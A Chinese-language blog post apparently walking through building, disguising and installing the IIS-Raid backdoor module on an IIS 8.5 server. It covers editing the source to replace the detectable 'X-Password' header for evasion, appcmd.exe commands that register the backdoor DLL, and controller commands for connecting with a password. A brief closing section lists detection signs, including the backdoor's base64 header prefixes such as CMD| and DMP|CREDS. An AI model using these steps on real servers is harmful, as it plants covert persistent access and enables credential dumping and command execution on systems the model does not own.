IIS-Raid后门构建与使用

2022-08-29 18:02:55 浏览数 (1)

文章前言

IIS Raid是本机的一个IIS模块,通过滥用IIS的可扩展性可以实现一个Web服务器后门并执行攻击者定义的自定义操作,本篇文章主要介绍IIS-Raid的构建和使用过程

测试环境

目标主机:Windows Server 2012 64位 Standard

目标版本:IIS 8.5

项目构建

Step 1:首下载项目源码到本地

https://github.com/0x09AL/IIS-Raid

Step 2:编辑/module/Functions.h文件并自定义密码字段,下面的SIMPLEPASS即为自定义的密码值,连接后门的时候在Http Header中定义,但是这里原版定义密码的HTTP头字段始终是一个值(X-Password),这无疑是一个典型的特征了,所以这里得实现自定义这个字段值,在以上定义代码中添加一个常量COM_PASSWD,如下代码:

Step 3:之后更改/module/HttpFactory.cpp 39行代码替换掉X-Password值为自定义的常量,如下代码所示:

Step 4:之后使用VS进行编译处理

Step 5:最终获得dll文件

后门部署

之后在命令行下使用appcmd.exe命令安装

代码语言:javascript复制
#格式说明
C:Windowssystem32inetsrvAPPCMD.EXE install module /name:Module Name /image:"%windir%System32inetsrvIIS-Backdoor.dll" /add:true
    
#执行示例
C:Windowssystem32inetsrvAPPCMD.EXE install module /name:IIS_Backdoor /image:"%windir%System32inetsrvIIS-Backdoor.dll" /add:true

再次刷新模块可以看到IIS_backdoor

后门使用

首先修改项目中的iis_controller.py文件,添加个—headpass的命令行参数:

代码语言:javascript复制
parser.add_argument('--headpass', type=str, default="X-Password", help="Header to user for password.")

之后把自定义的HTT头字段名加入到HttpHeader中

连接成功入后如下图所示:

代码语言:javascript复制
python3 iis_controller.py --url http://192.168.17.190/ --headpass COM_PASSWD --password admin@liuwei
演示视频
防御措施

下面是检测通信流量或模块部署的一些方法:

  • 检测命令行中appcmd.exe的执行
  • 如果可以拦截到WEB服务器的流量,请检查是否有任何base64编码的标头数据以下列任何字符串开头
代码语言:javascript复制
PIN|G
DMP|CREDS
CMD|
INJ|

参考链接

https://www.freebuf.com/sectool/231973.html

https://www.youtube.com/watch?v=jbxEWOXecuU

https://www.mdsec.co.uk/2020/02/iis-raid-backdooring-iis-using-native-modules/

0 人点赞